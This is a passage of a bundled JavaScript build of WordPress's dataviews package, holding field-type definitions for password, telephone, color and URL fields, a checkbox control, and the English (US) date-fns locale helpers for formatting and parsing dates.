27219 constants_OPERATOR_IS_NONE,
27220 OPERATOR_IS_ALL,
27221 OPERATOR_IS_NOT_ALL
27222 ]
27223 }
27224};
27225var array_default = arrayFieldType;
27226
27227
27228;// ./node_modules/@wordpress/dataviews/build-module/field-types/password.js
27229
27230
27231function password_sort(valueA, valueB, direction) {
27232 return 0;
27233}
27234var password_default = {
27235 sort: password_sort,
27236 isValid: {
27237 elements: true,
27238 custom: () => null
27239 },
27240 Edit: "password",
27241 render: ({ item, field }) => {
27242 return field.hasElements ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(RenderFromElements, { item, field }) : "\u2022\u2022\u2022\u2022\u2022\u2022\u2022\u2022";
27243 },
27244 enableSorting: false,
27245 filterBy: false
27246};
27247
27248
27249;// ./node_modules/@wordpress/dataviews/build-module/field-types/telephone.js
27250
27251
27252
27253function telephone_sort(valueA, valueB, direction) {
27254 return direction === "asc" ? valueA.localeCompare(valueB) : valueB.localeCompare(valueA);
27255}
27256var telephone_default = {
27257 sort: telephone_sort,
27258 isValid: {
27259 elements: true,
27260 custom: () => null
27261 },
27262 Edit: "telephone",
27263 render: ({ item, field }) => {
27264 return field.hasElements ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(RenderFromElements, { item, field }) : field.getValue({ item });
27265 },
27266 enableSorting: true,
27267 filterBy: {
27268 defaultOperators: [constants_OPERATOR_IS_ANY, constants_OPERATOR_IS_NONE],
27269 validOperators: [
27270 constants_OPERATOR_IS,
27271 constants_OPERATOR_IS_NOT,
27272 OPERATOR_CONTAINS,
27273 OPERATOR_NOT_CONTAINS,
27274 OPERATOR_STARTS_WITH,
27275 // Multiple selection
27276 constants_OPERATOR_IS_ANY,
27277 constants_OPERATOR_IS_NONE,
27278 OPERATOR_IS_ALL,
27279 OPERATOR_IS_NOT_ALL
27280 ]
27281 }
27282};
27283
27284
27285;// ./node_modules/@wordpress/dataviews/build-module/field-types/color.js
27286
27287
27288
27289
27290
27291function color_sort(valueA, valueB, direction) {
27292 const colorA = w(valueA);
27293 const colorB = w(valueB);
27294 if (!colorA.isValid() && !colorB.isValid()) {
27295 return 0;
27296 }
27297 if (!colorA.isValid()) {
27298 return direction === "asc" ? 1 : -1;
27299 }
27300 if (!colorB.isValid()) {
27301 return direction === "asc" ? -1 : 1;
27302 }
27303 const hslA = colorA.toHsl();
27304 const hslB = colorB.toHsl();
27305 if (hslA.h !== hslB.h) {
27306 return direction === "asc" ? hslA.h - hslB.h : hslB.h - hslA.h;
27307 }
27308 if (hslA.s !== hslB.s) {
27309 return direction === "asc" ? hslA.s - hslB.s : hslB.s - hslA.s;
27310 }
27311 return direction === "asc" ? hslA.l - hslB.l : hslB.l - hslA.l;
27312}
27313var color_color_default = {
27314 sort: color_sort,
27315 isValid: {
27316 elements: true,
27317 custom: (item, field) => {
27318 const value = field.getValue({ item });
27319 if (![void 0, "", null].includes(value) && !w(value).isValid()) {
27320 return (0,external_wp_i18n_namespaceObject.__)("Value must be a valid color.");
27321 }
27322 return null;
27323 }
27324 },
27325 Edit: "color",
27326 render: ({ item, field }) => {
27327 if (field.hasElements) {
27328 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(RenderFromElements, { item, field });
27329 }
27330 const value = field.getValue({ item });
27331 if (!value || !w(value).isValid()) {
27332 return value;
27333 }
27334 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
27335 "div",
27336 {
27337 style: { display: "flex", alignItems: "center", gap: "8px" },
27338 children: [
27339 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
27340 "div",
27341 {
27342 style: {
27343 width: "16px",
27344 height: "16px",
27345 borderRadius: "50%",
27346 backgroundColor: value,
27347 border: "1px solid #ddd",
27348 flexShrink: 0
27349 }
27350 }
27351 ),
27352 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { children: value })
27353 ]
27354 }
27355 );
27356 },
27357 enableSorting: true,
27358 filterBy: {
27359 defaultOperators: [constants_OPERATOR_IS_ANY, constants_OPERATOR_IS_NONE],
27360 validOperators: [constants_OPERATOR_IS, constants_OPERATOR_IS_NOT]
27361 }
27362};
27363
27364
27365;// ./node_modules/@wordpress/dataviews/build-module/field-types/url.js
27366
27367
27368
27369function url_sort(valueA, valueB, direction) {
27370 return direction === "asc" ? valueA.localeCompare(valueB) : valueB.localeCompare(valueA);
27371}
27372var url_default = {
27373 sort: url_sort,
27374 isValid: {
27375 elements: true,
27376 custom: () => null
27377 },
27378 Edit: "url",
27379 render: ({ item, field }) => {
27380 return field.hasElements ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(RenderFromElements, { item, field }) : field.getValue({ item });
27381 },
27382 enableSorting: true,
27383 filterBy: {
27384 defaultOperators: [constants_OPERATOR_IS_ANY, constants_OPERATOR_IS_NONE],
27385 validOperators: [
27386 constants_OPERATOR_IS,
27387 constants_OPERATOR_IS_NOT,
27388 OPERATOR_CONTAINS,
27389 OPERATOR_NOT_CONTAINS,
27390 OPERATOR_STARTS_WITH,
27391 // Multiple selection
27392 constants_OPERATOR_IS_ANY,
27393 constants_OPERATOR_IS_NONE,
27394 OPERATOR_IS_ALL,
27395 OPERATOR_IS_NOT_ALL
27396 ]
27397 }
27398};
27399
27400
27401;// ./node_modules/@wordpress/dataviews/build-module/field-types/index.js
27402
27403
27404
27405
27406
27407
27408
27409
27410
27411
27412
27413
27414
27415
27416
27417
27418function getFieldTypeDefinition(type) {
27419 if ("email" === type) {
27420 return email_default;
27421 }
27422 if ("integer" === type) {
27423 return integer_default;
27424 }
27425 if ("number" === type) {
27426 return number_default;
27427 }
27428 if ("text" === type) {
27429 return text_default;
27430 }
27431 if ("datetime" === type) {
27432 return datetime_default;
27433 }
27434 if ("date" === type) {
27435 return date_default;
27436 }
27437 if ("boolean" === type) {
27438 return boolean_default;
27439 }
27440 if ("media" === type) {
27441 return media_default;
27442 }
27443 if ("array" === type) {
27444 return array_default;
27445 }
27446 if ("password" === type) {
27447 return password_default;
27448 }
27449 if ("telephone" === type) {
27450 return telephone_default;
27451 }
27452 if ("color" === type) {
27453 return color_color_default;
27454 }
27455 if ("url" === type) {
27456 return url_default;
27457 }
27458 return {
27459 sort: (a, b, direction) => {
27460 if (typeof a === "number" && typeof b === "number") {
27461 return direction === "asc" ? a - b : b - a;
27462 }
27463 return direction === "asc" ? a.localeCompare(b) : b.localeCompare(a);
27464 },
27465 isValid: {
27466 elements: true,
27467 custom: () => null
27468 },
27469 Edit: null,
27470 render: ({ item, field }) => {
27471 return field.hasElements ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(RenderFromElements, { item, field }) : field.getValue({ item });
27472 },
27473 enableSorting: true,
27474 filterBy: {
27475 defaultOperators: [constants_OPERATOR_IS, constants_OPERATOR_IS_NOT],
27476 validOperators: ALL_OPERATORS
27477 }
27478 };
27479}
27480
27481
27482;// ./node_modules/@wordpress/dataviews/build-module/lock-unlock.js
27483
27484const { lock: lock_unlock_lock, unlock: lock_unlock_unlock } = (0,external_wp_privateApis_namespaceObject.__dangerousOptInToUnstableAPIsOnlyForCoreModules)(
27485 "I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.",
27486 "@wordpress/dataviews"
27487);
27488
27489
27490;// ./node_modules/@wordpress/dataviews/build-module/dataform-controls/utils/get-custom-validity.js
27491function getCustomValidity(isValid, validity) {
27492 let customValidity;
27493 if (isValid?.required && validity?.required) {
27494 customValidity = validity?.required?.message ? validity.required : void 0;
27495 } else if (isValid?.elements && validity?.elements) {
27496 customValidity = validity.elements;
27497 } else if (validity?.custom) {
27498 customValidity = validity.custom;
27499 }
27500 return customValidity;
27501}
27502
27503
27504;// ./node_modules/@wordpress/dataviews/build-module/dataform-controls/checkbox.js
27505
27506
27507
27508
27509
27510const { ValidatedCheckboxControl } = lock_unlock_unlock(external_wp_components_namespaceObject.privateApis);
27511function Checkbox({
27512 field,
27513 onChange,
27514 data,
27515 hideLabelFromVision,
27516 validity
27517}) {
27518 const { getValue, setValue, label, description, isValid } = field;
27519 const onChangeControl = (0,external_wp_element_.useCallback)(() => {
27520 onChange(
27521 setValue({ item: data, value: !getValue({ item: data }) })
27522 );
27523 }, [data, getValue, onChange, setValue]);
27524 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
27525 ValidatedCheckboxControl,
27526 {
27527 required: !!field.isValid?.required,
27528 customValidity: getCustomValidity(isValid, validity),
27529 hidden: hideLabelFromVision,
27530 label,
27531 help: description,
27532 checked: getValue({ item: data }),
27533 onChange: onChangeControl
27534 }
27535 );
27536}
27537
27538
27539;// ./node_modules/@wordpress/dataviews/node_modules/date-fns/isDate.js
27540/**
27541 * @name isDate
27542 * @category Common Helpers
27543 * @summary Is the given value a date?
27544 *
27545 * @description
27546 * Returns true if the given value is an instance of Date. The function works for dates transferred across iframes.
27547 *
27548 * @param value - The value to check
27549 *
27550 * @returns True if the given value is a date
27551 *
27552 * @example
27553 * // For a valid date:
27554 * const result = isDate(new Date())
27555 * //=> true
27556 *
27557 * @example
27558 * // For an invalid date:
27559 * const result = isDate(new Date(NaN))
27560 * //=> true
27561 *
27562 * @example
27563 * // For some value:
27564 * const result = isDate('2014-02-31')
27565 * //=> false
27566 *
27567 * @example
27568 * // For an object:
27569 * const result = isDate({})
27570 * //=> false
27571 */
27572function isDate(value) {
27573 return (
27574 value instanceof Date ||
27575 (typeof value === "object" &&
27576 Object.prototype.toString.call(value) === "[object Date]")
27577 );
27578}
27579
27580// Fallback for modularized imports:
27581/* harmony default export */ const date_fns_isDate = ((/* unused pure expression or super */ null && (isDate)));
27582
27583;// ./node_modules/@wordpress/dataviews/node_modules/date-fns/isValid.js
27584
27585
27586
27587/**
27588 * @name isValid
27589 * @category Common Helpers
27590 * @summary Is the given date valid?
27591 *
27592 * @description
27593 * Returns false if argument is Invalid Date and true otherwise.
27594 * Argument is converted to Date using `toDate`. See [toDate](https://date-fns.org/docs/toDate)
27595 * Invalid Date is a Date, whose time value is NaN.
27596 *
27597 * Time value of Date: http://es5.github.io/#x15.9.1.1
27598 *
27599 * @param date - The date to check
27600 *
27601 * @returns The date is valid
27602 *
27603 * @example
27604 * // For the valid date:
27605 * const result = isValid(new Date(2014, 1, 31))
27606 * //=> true
27607 *
27608 * @example
27609 * // For the value, convertible into a date:
27610 * const result = isValid(1393804800000)
27611 * //=> true
27612 *
27613 * @example
27614 * // For the invalid date:
27615 * const result = isValid(new Date(''))
27616 * //=> false
27617 */
27618function isValid(date) {
27619 return !((!isDate(date) && typeof date !== "number") || isNaN(+toDate(date)));
27620}
27621
27622// Fallback for modularized imports:
27623/* harmony default export */ const date_fns_isValid = ((/* unused pure expression or super */ null && (isValid)));
27624
27625;// ./node_modules/@wordpress/dataviews/node_modules/date-fns/locale/en-US/_lib/formatDistance.js
27626const formatDistanceLocale = {
27627 lessThanXSeconds: {
27628 one: "less than a second",
27629 other: "less than {{count}} seconds",
27630 },
27631
27632 xSeconds: {
27633 one: "1 second",
27634 other: "{{count}} seconds",
27635 },
27636
27637 halfAMinute: "half a minute",
27638
27639 lessThanXMinutes: {
27640 one: "less than a minute",
27641 other: "less than {{count}} minutes",
27642 },
27643
27644 xMinutes: {
27645 one: "1 minute",
27646 other: "{{count}} minutes",
27647 },
27648
27649 aboutXHours: {
27650 one: "about 1 hour",
27651 other: "about {{count}} hours",
27652 },
27653
27654 xHours: {
27655 one: "1 hour",
27656 other: "{{count}} hours",
27657 },
27658
27659 xDays: {
27660 one: "1 day",
27661 other: "{{count}} days",
27662 },
27663
27664 aboutXWeeks: {
27665 one: "about 1 week",
27666 other: "about {{count}} weeks",
27667 },
27668
27669 xWeeks: {
27670 one: "1 week",
27671 other: "{{count}} weeks",
27672 },
27673
27674 aboutXMonths: {
27675 one: "about 1 month",
27676 other: "about {{count}} months",
27677 },
27678
27679 xMonths: {
27680 one: "1 month",
27681 other: "{{count}} months",
27682 },
27683
27684 aboutXYears: {
27685 one: "about 1 year",
27686 other: "about {{count}} years",
27687 },
27688
27689 xYears: {
27690 one: "1 year",
27691 other: "{{count}} years",
27692 },
27693
27694 overXYears: {
27695 one: "over 1 year",
27696 other: "over {{count}} years",
27697 },
27698
27699 almostXYears: {
27700 one: "almost 1 year",
27701 other: "almost {{count}} years",
27702 },
27703};
27704
27705const formatDistance = (token, count, options) => {
27706 let result;
27707
27708 const tokenValue = formatDistanceLocale[token];
27709 if (typeof tokenValue === "string") {
27710 result = tokenValue;
27711 } else if (count === 1) {
27712 result = tokenValue.one;
27713 } else {
27714 result = tokenValue.other.replace("{{count}}", count.toString());
27715 }
27716
27717 if (options?.addSuffix) {
27718 if (options.comparison && options.comparison > 0) {
27719 return "in " + result;
27720 } else {
27721 return result + " ago";
27722 }
27723 }
27724
27725 return result;
27726};
27727
27728;// ./node_modules/@wordpress/dataviews/node_modules/date-fns/locale/_lib/buildFormatLongFn.js
27729function buildFormatLongFn(args) {
27730 return (options = {}) => {
27731 // TODO: Remove String()
27732 const width = options.width ? String(options.width) : args.defaultWidth;
27733 const format = args.formats[width] || args.formats[args.defaultWidth];
27734 return format;
27735 };
27736}
27737
27738;// ./node_modules/@wordpress/dataviews/node_modules/date-fns/locale/en-US/_lib/formatLong.js
27739
27740
27741const dateFormats = {
27742 full: "EEEE, MMMM do, y",
27743 long: "MMMM do, y",
27744 medium: "MMM d, y",
27745 short: "MM/dd/yyyy",
27746};
27747
27748const timeFormats = {
27749 full: "h:mm:ss a zzzz",
27750 long: "h:mm:ss a z",
27751 medium: "h:mm:ss a",
27752 short: "h:mm a",
27753};
27754
27755const dateTimeFormats = {
27756 full: "{{date}} 'at' {{time}}",
27757 long: "{{date}} 'at' {{time}}",
27758 medium: "{{date}}, {{time}}",
27759 short: "{{date}}, {{time}}",
27760};
27761
27762const formatLong = {
27763 date: buildFormatLongFn({
27764 formats: dateFormats,
27765 defaultWidth: "full",
27766 }),
27767
27768 time: buildFormatLongFn({
27769 formats: timeFormats,
27770 defaultWidth: "full",
27771 }),
27772
27773 dateTime: buildFormatLongFn({
27774 formats: dateTimeFormats,
27775 defaultWidth: "full",
27776 }),
27777};
27778
27779;// ./node_modules/@wordpress/dataviews/node_modules/date-fns/locale/en-US/_lib/formatRelative.js
27780const formatRelativeLocale = {
27781 lastWeek: "'last' eeee 'at' p",
27782 yesterday: "'yesterday at' p",
27783 today: "'today at' p",
27784 tomorrow: "'tomorrow at' p",
27785 nextWeek: "eeee 'at' p",
27786 other: "P",
27787};
27788
27789const formatRelative = (token, _date, _baseDate, _options) =>
27790 formatRelativeLocale[token];
27791
27792;// ./node_modules/@wordpress/dataviews/node_modules/date-fns/locale/_lib/buildLocalizeFn.js
27793/**
27794 * The localize function argument callback which allows to convert raw value to
27795 * the actual type.
27796 *
27797 * @param value - The value to convert
27798 *
27799 * @returns The converted value
27800 */
27801
27802/**
27803 * The map of localized values for each width.
27804 */
27805
27806/**
27807 * The index type of the locale unit value. It types conversion of units of
27808 * values that don't start at 0 (i.e. quarters).
27809 */
27810
27811/**
27812 * Converts the unit value to the tuple of values.
27813 */
27814
27815/**
27816 * The tuple of localized era values. The first element represents BC,
27817 * the second element represents AD.
27818 */
27819
27820/**
27821 * The tuple of localized quarter values. The first element represents Q1.
27822 */
27823
27824/**
27825 * The tuple of localized day values. The first element represents Sunday.
27826 */
27827
27828/**
27829 * The tuple of localized month values. The first element represents January.
27830 */
27831
27832function buildLocalizeFn(args) {
27833 return (value, options) => {
27834 const context = options?.context ? String(options.context) : "standalone";
27835
27836 let valuesArray;
27837 if (context === "formatting" && args.formattingValues) {
27838 const defaultWidth = args.defaultFormattingWidth || args.defaultWidth;
27839 const width = options?.width ? String(options.width) : defaultWidth;
27840
27841 valuesArray =
27842 args.formattingValues[width] || args.formattingValues[defaultWidth];
27843 } else {
27844 const defaultWidth = args.defaultWidth;
27845 const width = options?.width ? String(options.width) : args.defaultWidth;
27846
27847 valuesArray = args.values[width] || args.values[defaultWidth];
27848 }
27849 const index = args.argumentCallback ? args.argumentCallback(value) : value;
27850
27851 // @ts-expect-error - For some reason TypeScript just don't want to match it, no matter how hard we try. I challenge you to try to remove it!
27852 return valuesArray[index];
27853 };
27854}
27855
27856;// ./node_modules/@wordpress/dataviews/node_modules/date-fns/locale/en-US/_lib/localize.js
27857
27858
27859const eraValues = {
27860 narrow: ["B", "A"],
27861 abbreviated: ["BC", "AD"],
27862 wide: ["Before Christ", "Anno Domini"],
27863};
27864
27865const quarterValues = {
27866 narrow: ["1", "2", "3", "4"],
27867 abbreviated: ["Q1", "Q2", "Q3", "Q4"],
27868 wide: ["1st quarter", "2nd quarter", "3rd quarter", "4th quarter"],
27869};
27870
27871// Note: in English, the names of days of the week and months are capitalized.
27872// If you are making a new locale based on this one, check if the same is true for the language you're working on.
27873// Generally, formatted dates should look like they are in the middle of a sentence,
27874// e.g. in Spanish language the weekdays and months should be in the lowercase.
27875const monthValues = {
27876 narrow: ["J", "F", "M", "A", "M", "J", "J", "A", "S", "O", "N", "D"],
27877 abbreviated: [
27878 "Jan",
27879 "Feb",
27880 "Mar",
27881 "Apr",
27882 "May",
27883 "Jun",
27884 "Jul",
27885 "Aug",
27886 "Sep",
27887 "Oct",
27888 "Nov",
27889 "Dec",
27890 ],
27891
27892 wide: [
27893 "January",
27894 "February",
27895 "March",
27896 "April",
27897 "May",
27898 "June",
27899 "July",
27900 "August",
27901 "September",
27902 "October",
27903 "November",
27904 "December",
27905 ],
27906};
27907
27908const dayValues = {
27909 narrow: ["S", "M", "T", "W", "T", "F", "S"],
27910 short: ["Su", "Mo", "Tu", "We", "Th", "Fr", "Sa"],
27911 abbreviated: ["Sun", "Mon", "Tue", "Wed", "Thu", "Fri", "Sat"],
27912 wide: [
27913 "Sunday",
27914 "Monday",
27915 "Tuesday",
27916 "Wednesday",
27917 "Thursday",
27918 "Friday",
27919 "Saturday",
27920 ],
27921};
27922
27923const dayPeriodValues = {
27924 narrow: {
27925 am: "a",
27926 pm: "p",
27927 midnight: "mi",
27928 noon: "n",
27929 morning: "morning",
27930 afternoon: "afternoon",
27931 evening: "evening",
27932 night: "night",
27933 },
27934 abbreviated: {
27935 am: "AM",
27936 pm: "PM",
27937 midnight: "midnight",
27938 noon: "noon",
27939 morning: "morning",
27940 afternoon: "afternoon",
27941 evening: "evening",
27942 night: "night",
27943 },
27944 wide: {
27945 am: "a.m.",
27946 pm: "p.m.",
27947 midnight: "midnight",
27948 noon: "noon",
27949 morning: "morning",
27950 afternoon: "afternoon",
27951 evening: "evening",
27952 night: "night",
27953 },
27954};
27955
27956const formattingDayPeriodValues = {
27957 narrow: {
27958 am: "a",
27959 pm: "p",
27960 midnight: "mi",
27961 noon: "n",
27962 morning: "in the morning",
27963 afternoon: "in the afternoon",
27964 evening: "in the evening",
27965 night: "at night",
27966 },
27967 abbreviated: {
27968 am: "AM",
27969 pm: "PM",
27970 midnight: "midnight",
27971 noon: "noon",
27972 morning: "in the morning",
27973 afternoon: "in the afternoon",
27974 evening: "in the evening",
27975 night: "at night",
27976 },
27977 wide: {
27978 am: "a.m.",
27979 pm: "p.m.",
27980 midnight: "midnight",
27981 noon: "noon",
27982 morning: "in the morning",
27983 afternoon: "in the afternoon",
27984 evening: "in the evening",
27985 night: "at night",
27986 },
27987};
27988
27989const ordinalNumber = (dirtyNumber, _options) => {
27990 const number = Number(dirtyNumber);
27991
27992 // If ordinal numbers depend on context, for example,
27993 // if they are different for different grammatical genders,
27994 // use `options.unit`.
27995 //
27996 // `unit` can be 'year', 'quarter', 'month', 'week', 'date', 'dayOfYear',
27997 // 'day', 'hour', 'minute', 'second'.
27998
27999 const rem100 = number % 100;
28000 if (rem100 > 20 || rem100 < 10) {
28001 switch (rem100 % 10) {
28002 case 1:
28003 return number + "st";
28004 case 2:
28005 return number + "nd";
28006 case 3:
28007 return number + "rd";
28008 }
28009 }
28010 return number + "th";
28011};
28012
28013const localize = {
28014 ordinalNumber,
28015
28016 era: buildLocalizeFn({
28017 values: eraValues,
28018 defaultWidth: "wide",
28019 }),
28020
28021 quarter: buildLocalizeFn({
28022 values: quarterValues,
28023 defaultWidth: "wide",
28024 argumentCallback: (quarter) => quarter - 1,
28025 }),
28026
28027 month: buildLocalizeFn({
28028 values: monthValues,
28029 defaultWidth: "wide",
28030 }),
28031
28032 day: buildLocalizeFn({
28033 values: dayValues,
28034 defaultWidth: "wide",
28035 }),
28036
28037 dayPeriod: buildLocalizeFn({
28038 values: dayPeriodValues,
28039 defaultWidth: "wide",
28040 formattingValues: formattingDayPeriodValues,
28041 defaultFormattingWidth: "wide",
28042 }),
28043};
28044
28045;// ./node_modules/@wordpress/dataviews/node_modules/date-fns/locale/_lib/buildMatchFn.js
28046function buildMatchFn(args) {
28047 return (string, options = {}) => {
28048 const width = options.width;
28049
28050 const matchPattern =
28051 (width && args.matchPatterns[width]) ||
28052 args.matchPatterns[args.defaultMatchWidth];
28053 const matchResult = string.match(matchPattern);
28054
28055 if (!matchResult) {
28056 return null;
28057 }
28058 const matchedString = matchResult[0];
28059
28060 const parsePatterns =
28061 (width && args.parsePatterns[width]) ||
28062 args.parsePatterns[args.defaultParseWidth];
28063
28064 const key = Array.isArray(parsePatterns)
28065 ? findIndex(parsePatterns, (pattern) => pattern.test(matchedString))
28066 : // [TODO] -- I challenge you to fix the type
28067 findKey(parsePatterns, (pattern) => pattern.test(matchedString));
28068
28069 let value;
28070
28071 value = args.valueCallback ? args.valueCallback(key) : key;
28072 value = options.valueCallback
28073 ? // [TODO] -- I challenge you to fix the type
28074 options.valueCallback(value)
28075 : value;
28076
28077 const rest = string.slice(matchedString.length);
28078
28079 return { value, rest };
28080 };
28081}
28082
28083function findKey(object, predicate) {
28084 for (const key in object) {
28085 if (
28086 Object.prototype.hasOwnProperty.call(object, key) &&
28087 predicate(object[key])
28088 ) {
28089 return key;
28090 }
28091 }
28092 return undefined;
28093}
28094
28095function findIndex(array, predicate) {
28096 for (let key = 0; key < array.length; key++) {
28097 if (predicate(array[key])) {
28098 return key;
28099 }
28100 }
28101 return undefined;
28102}
28103
28104;// ./node_modules/@wordpress/dataviews/node_modules/date-fns/locale/_lib/buildMatchPatternFn.js
28105function buildMatchPatternFn(args) {
28106 return (string, options = {}) => {
28107 const matchResult = string.match(args.matchPattern);
28108 if (!matchResult) return null;
28109 const matchedString = matchResult[0];
28110
28111 const parseResult = string.match(args.parsePattern);
28112 if (!parseResult) return null;
28113 let value = args.valueCallback
28114 ? args.valueCallback(parseResult[0])
28115 : parseResult[0];
28116
28117 // [TODO] I challenge you to fix the type
28118 value = options.valueCallback ? options.valueCallback(value) : value;
28119
28120 const rest = string.slice(matchedString.length);
28121
28122 return { value, rest };
28123 };
28124}
28125
28126;// ./node_modules/@wordpress/dataviews/node_modules/date-fns/locale/en-US/_lib/match.js
28127
28128
28129
28130const matchOrdinalNumberPattern = /^(\d+)(th|st|nd|rd)?/i;
28131const parseOrdinalNumberPattern = /\d+/i;
28132
28133const matchEraPatterns = {
28134 narrow: /^(b|a)/i,
28135 abbreviated: /^(b\.?\s?c\.?|b\.?\s?c\.?\s?e\.?|a\.?\s?d\.?|c\.?\s?e\.?)/i,
28136 wide: /^(before christ|before common era|anno domini|common era)/i,
28137};
28138const parseEraPatterns = {
28139 any: [/^b/i, /^(a|c)/i],
28140};
28141
28142const matchQuarterPatterns = {
28143 narrow: /^[1234]/i,
28144 abbreviated: /^q[1234]/i,
28145 wide: /^[1234](th|st|nd|rd)? quarter/i,
28146};
28147const parseQuarterPatterns = {
28148 any: [/1/i, /2/i, /3/i, /4/i],
28149};
28150
28151const matchMonthPatterns = {
28152 narrow: /^[jfmasond]/i,
28153 abbreviated: /^(jan|feb|mar|apr|may|jun|jul|aug|sep|oct|nov|dec)/i,
28154 wide: /^(january|february|march|april|may|june|july|august|september|october|november|december)/i,
28155};
28156const parseMonthPatterns = {
28157 narrow: [
28158 /^j/i,
28159 /^f/i,
28160 /^m/i,
28161 /^a/i,
28162 /^m/i,
28163 /^j/i,
28164 /^j/i,
28165 /^a/i,
28166 /^s/i,
28167 /^o/i,
28168 /^n/i,
28169 /^d/i,
28170 ],
28171
28172 any: [
28173 /^ja/i,
28174 /^f/i,
28175 /^mar/i,
28176 /^ap/i,
28177 /^may/i,
28178 /^jun/i,
28179 /^jul/i,
28180 /^au/i,
28181 /^s/i,
28182 /^o/i,
28183 /^n/i,
28184 /^d/i,
28185 ],
28186};
28187
28188const matchDayPatterns = {
28189 narrow: /^[smtwf]/i,
28190 short: /^(su|mo|tu|we|th|fr|sa)/i,
28191 abbreviated: /^(sun|mon|tue|wed|thu|fri|sat)/i,
28192 wide: /^(sunday|monday|tuesday|wednesday|thursday|friday|saturday)/i,
28193};
28194const parseDayPatterns = {
28195 narrow: [/^s/i, /^m/i, /^t/i, /^w/i, /^t/i, /^f/i, /^s/i],
28196 any: [/^su/i, /^m/i, /^tu/i, /^w/i, /^th/i, /^f/i, /^sa/i],
28197};
28198
28199const matchDayPeriodPatterns = {
28200 narrow: /^(a|p|mi|n|(in the|at) (morning|afternoon|evening|night))/i,
28201 any: /^([ap]\.?\s?m\.?|midnight|noon|(in the|at) (morning|afternoon|evening|night))/i,
28202};
28203const parseDayPeriodPatterns = {
28204 any: {
28205 am: /^a/i,
28206 pm: /^p/i,
28207 midnight: /^mi/i,
28208 noon: /^no/i,
28209 morning: /morning/i,
28210 afternoon: /afternoon/i,
28211 evening: /evening/i,
28212 night: /night/i,
28213 },
28214};
28215
28216const match_match = {
28217 ordinalNumber: buildMatchPatternFn({
28218 matchPattern: matchOrdinalNumberPattern,
28219 parsePattern: parseOrdinalNumberPattern,
28220 valueCallback: (value) => parseInt(value, 10),
28221 }),
28222
28223 era: buildMatchFn({
28224 matchPatterns: matchEraPatterns,
28225 defaultMatchWidth: "wide",
28226 parsePatterns: parseEraPatterns,
28227 defaultParseWidth: "any",
28228 }),
28229
28230 quarter: buildMatchFn({
28231 matchPatterns: matchQuarterPatterns,
28232 defaultMatchWidth: "wide",
28233 parsePatterns: parseQuarterPatterns,
28234 defaultParseWidth: "any",
28235 valueCallback: (index) => index + 1,
28236 }),
28237
28238 month: buildMatchFn({
28239 matchPatterns: matchMonthPatterns,
28240 defaultMatchWidth: "wide",
28241 parsePatterns: parseMonthPatterns,
28242 defaultParseWidth: "any",
28243 }),
28244
28245 day: buildMatchFn({
28246 matchPatterns: matchDayPatterns,
28247 defaultMatchWidth: "wide",
28248 parsePatterns: parseDayPatterns,
28249 defaultParseWidth: "any",
28250 }),
28251
28252 dayPeriod: buildMatchFn({
28253 matchPatterns: matchDayPeriodPatterns,
28254 defaultMatchWidth: "any",
28255 parsePatterns: parseDayPeriodPatterns,
28256 defaultParseWidth: "any",
28257 }),
28258};
28259
28260;// ./node_modules/@wordpress/dataviews/node_modules/date-fns/locale/en-US.js
28261
28262
28263
28264
28265
28266
28267/**
28268 * @category Locales
28269 * @summary English locale (United States).
28270 * @language English
28271 * @iso-639-2 eng
28272 * @author Sasha Koss [@kossnocorp](https://github.com/kossnocorp)
28273 * @author Lesha Koss [@leshakoss](https://github.com/leshakoss)
28274 */
28275const enUS = {
28276 code: "en-US",
28277 formatDistance: formatDistance,
28278 formatLong: formatLong,
28279 formatRelative: formatRelative,
28280 localize: localize,
28281 match: match_match,
28282 options: {
28283 weekStartsOn: 0 /* Sunday */,
28284 firstWeekContainsDate: 1,
28285 },
28286};
28287
28288// Fallback for modularized imports:
28289/* harmony default export */ const en_US = ((/* unused pure expression or super */ null && (enUS)));
28290
28291;// ./node_modules/@wordpress/dataviews/node_modules/date-fns/_lib/defaultOptions.js
28292let defaultOptions = {};
28293
28294function getDefaultOptions() {
28295 return defaultOptions;
28296}
28297
28298function setDefaultOptions(newOptions) {
28299 defaultOptions = newOptions;
28300}
28301
28302;// ./node_modules/@wordpress/dataviews/node_modules/date-fns/_lib/getTimezoneOffsetInMilliseconds.js
28303
28304
28305/**
28306 * Google Chrome as of 67.0.3396.87 introduced timezones with offset that includes seconds.
28307 * They usually appear for dates that denote time before the timezones were introduced
28308 * (e.g. for 'Europe/Prague' timezone the offset is GMT+00:57:44 before 1 October 1891
28309 * and GMT+01:00:00 after that date)
28310 *
28311 * Date#getTimezoneOffset returns the offset in minutes and would return 57 for the example above,
28312 * which would lead to incorrect calculations.
28313 *
28314 * This function returns the timezone offset in milliseconds that takes seconds in account.
28315 */
28316function getTimezoneOffsetInMilliseconds(date) {
28317 const _date = toDate(date);
28318 const utcDate = new Date(
28319 Date.UTC(
28320 _date.getFullYear(),
28321 _date.getMonth(),
28322 _date.getDate(),
28323 _date.getHours(),
28324 _date.getMinutes(),
28325 _date.getSeconds(),
28326 _date.getMilliseconds(),
28327 ),
28328 );
28329 utcDate.setUTCFullYear(_date.getFullYear());
28330 return +date - +utcDate;
28331}
28332
28333;// ./node_modules/@wordpress/dataviews/node_modules/date-fns/_lib/normalizeDates.js
28334
28335
28336function normalizeDates(context, ...dates) {
28337 const normalize = constructFrom.bind(
28338 null,
28339 context || dates.find((date) => typeof date === "object"),
28340 );
28341 return dates.map(normalize);
28342}
28343
28344;// ./node_modules/@wordpress/dataviews/node_modules/date-fns/startOfDay.js
28345
28346
28347/**
28348 * The {@link startOfDay} function options.
28349 */
28350
28351/**
28352 * @name startOfDay
28353 * @category Day Helpers
28354 * @summary Return the start of a day for the given date.
28355 *
28356 * @description
28357 * Return the start of a day for the given date.
28358 * The result will be in the local timezone.
28359 *
